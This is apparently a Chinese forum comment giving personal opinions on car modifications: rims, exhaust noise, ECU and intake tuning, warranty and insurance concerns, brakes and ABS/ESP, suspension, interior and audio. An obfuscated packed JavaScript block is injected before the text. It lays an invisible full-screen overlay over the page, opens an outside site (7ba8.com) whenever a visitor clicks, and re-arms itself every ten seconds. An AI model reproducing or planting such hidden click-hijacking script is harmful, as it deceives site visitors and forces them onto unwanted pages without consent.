<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>轮圈是最容易也是有最直接效果的,其他的么,不喜欢排气管太吵,一般的改动对动力性能也没什么影响,光改ecu和air intake效果有待验证,而且有原厂保修的就费了,保险公司也不干,加turbo什么的,直接花多点钱买个好一点的型号就好了,你每天在路上开业不需要百公里破四破五,改刹车ABS,ESP什么的就要重新调,否则每天开路上你也不知道那些安全系统有没用的,避震可以改,但是要确定改了你喜欢,内饰包围什么的,工艺要好,还不能太夸张,音响什么的,本人不太在意,发烧友喜欢搞 |